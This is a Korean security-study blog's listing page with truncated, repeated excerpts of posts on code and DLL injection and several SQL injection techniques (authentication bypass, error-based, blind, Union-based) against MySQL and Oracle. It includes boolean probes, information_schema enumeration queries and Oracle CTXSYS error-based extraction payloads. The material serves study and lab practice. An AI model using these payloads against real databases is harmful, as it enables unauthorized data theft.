전체 글
Hi,
-
Code Injection [CreateRemoteThread()] VS CreateThread() DLL 인젝션 공격처럼 코드를 삽입하는 공격 기법 LoadLibrary() 함수를 사용해서 특정 함수를 호출하고 강제로 동작시키는 행위 ---> GetProcAddresS() 반드시 같이 사용 DOWRD WINAPI ThreadProc(LPVOID IParam) { MessageBoxA(NULL, "www.reversecore.com","hello world", MB_OK); return 0; } DLL Injection 보다 Code Injection 공격의 장점 1. 메모리 부하가 적다 2. 흔적을 찾기가 어렵다 - DLL Injection은 프로세스나 메모리에 흔적을 남기기 때문에 쉽게 찾을 수 있다..
CODE InjectionCode Injection [CreateRemoteThread()] VS CreateThread() DLL 인젝션 공격처럼 코드를 삽입하는 공격 기법 LoadLibrary() 함수를 사용해서 특정 함수를 호출하고 강제로 동작시키는 행위 ---> GetProcAddresS() 반드시 같이 사용 DOWRD WINAPI ThreadProc(LPVOID IParam) { MessageBoxA(NULL, "www.reversecore.com","hello world", MB_OK); return 0; } DLL Injection 보다 Code Injection 공격의 장점 1. 메모리 부하가 적다 2. 흔적을 찾기가 어렵다 - DLL Injection은 프로세스나 메모리에 흔적을 남기기 때문에 쉽게 찾을 수 있다..
2022.07.07 -
// index.php 회원 전용 페이지 입니다. 님 반갑습니다. # login.php 로그인 페이지입니다. ID : PW : # loginAction.php
SQL Injection 인증 우회// index.php 회원 전용 페이지 입니다. 님 반갑습니다. # login.php 로그인 페이지입니다. ID : PW : # loginAction.php
2022.07.07 -
순차적 접근 방식 데이터 베이스 이름 확인 # 데이터 베이스 이름 확인 SELECT * FROM information_schema.schemata SCHEMA_NAME 데이터 베이스 이름을 모아놓은 항목 데이터베이스 테이블 목록화 # 데이터베이스 테이블 목록화 SELECT * FROM information_schema.talbes; TABLE_SCHEMA 데이터베이스 이름 TABLE_NAME 테이블 이름 COLUMN_NAME 컬럼 이름 'board'라는 데이터베이스에 들어있는 'table'이름들이 알고 싶을때 # 'board'라는 데이터베이스에 들어있는 'table'이름들이 알고 싶을때 SELECT table_name FROM information_schema.tables WHERE table_schem..
SQL Injection - Error Based순차적 접근 방식 데이터 베이스 이름 확인 # 데이터 베이스 이름 확인 SELECT * FROM information_schema.schemata SCHEMA_NAME 데이터 베이스 이름을 모아놓은 항목 데이터베이스 테이블 목록화 # 데이터베이스 테이블 목록화 SELECT * FROM information_schema.talbes; TABLE_SCHEMA 데이터베이스 이름 TABLE_NAME 테이블 이름 COLUMN_NAME 컬럼 이름 'board'라는 데이터베이스에 들어있는 'table'이름들이 알고 싶을때 # 'board'라는 데이터베이스에 들어있는 'table'이름들이 알고 싶을때 SELECT table_name FROM information_schema.tables WHERE table_schem..
2022.07.06 -
Contents Based search_type=1=1+andtitle&keyword=test# 참 :기준문자 test가 출력 search_type=1=2+andtitle&keyword=test# 거짓 : 기준문자 test가 출력 되지 않음 Blind Based 서버의 참/거짓에 응답값을 가지고 문자열을 유추 3가지 탐색 방식 1. 순차 탐색 2. 이진 탐색 3. 비트 연산 탐색 비 순차 탐색방식 ( 메타데이터 조회 ) # 1. 사용자 계정 개수 세기 SELECT count(*) FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE owner like '%C##%'; # rownum은 1줄만 출력하기위해 ( 하나의..
Oracle Blind BasedContents Based search_type=1=1+andtitle&keyword=test# 참 :기준문자 test가 출력 search_type=1=2+andtitle&keyword=test# 거짓 : 기준문자 test가 출력 되지 않음 Blind Based 서버의 참/거짓에 응답값을 가지고 문자열을 유추 3가지 탐색 방식 1. 순차 탐색 2. 이진 탐색 3. 비트 연산 탐색 비 순차 탐색방식 ( 메타데이터 조회 ) # 1. 사용자 계정 개수 세기 SELECT count(*) FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE owner like '%C##%'; # rownum은 1줄만 출력하기위해 ( 하나의..
2022.07.06 -
Union 기반 SQL 구문을 전송하고 공격자가 의도한 데이터를 받는 공격 1. 웹 어플리케이션 조건 사용자 입력값을 통해 완성된 커리로 데이터가 DB에서 반환되어야 한다 2. 다양한 제약 조건 대용량 데이터 타입은 중복 제거가 불가능하다 ( 단, MYSQL 예외 ) 대용량 데이터 타입은 정렬이 불가능하다 ( 단, MYSQL 예외 ) 하위 SELECT 절의 컬럼 개수는 반드시 상위 SELECT 컬럼 개수와 일치해야한다. Union으로 조회하려는 데이터와 추출하려고 하는 데이터의 타입이 일치해야한다( 단,MYSQL 예외 ) MYSQL에서 사용하는 대용량 타입 : text, ntext,image 등 ORACLE에서 사용하는 대용량 타입 : clob , nclob, bolob 등 Union과 Union All..
ORACLE Union BasedUnion 기반 SQL 구문을 전송하고 공격자가 의도한 데이터를 받는 공격 1. 웹 어플리케이션 조건 사용자 입력값을 통해 완성된 커리로 데이터가 DB에서 반환되어야 한다 2. 다양한 제약 조건 대용량 데이터 타입은 중복 제거가 불가능하다 ( 단, MYSQL 예외 ) 대용량 데이터 타입은 정렬이 불가능하다 ( 단, MYSQL 예외 ) 하위 SELECT 절의 컬럼 개수는 반드시 상위 SELECT 컬럼 개수와 일치해야한다. Union으로 조회하려는 데이터와 추출하려고 하는 데이터의 타입이 일치해야한다( 단,MYSQL 예외 ) MYSQL에서 사용하는 대용량 타입 : text, ntext,image 등 ORACLE에서 사용하는 대용량 타입 : clob , nclob, bolob 등 Union과 Union All..
2022.07.06 -
CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual)) CTXSYS.CTX_QUERY.CHK_XPATH((SELECT user FROM dual),1) 새로운 사용자 , 테이블, 컬럼, 데이터 확인 1. 새로운 사용자 확인 CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=1)) CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=2)) CTXSYS.DRITHSX.SN..
Oracle database 공격 실습CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual)) CTXSYS.CTX_QUERY.CHK_XPATH((SELECT user FROM dual),1) 새로운 사용자 , 테이블, 컬럼, 데이터 확인 1. 새로운 사용자 확인 CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=1)) CTXSYS.DRITHSX.SN(1,(SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE r=2)) CTXSYS.DRITHSX.SN..
2022.07.05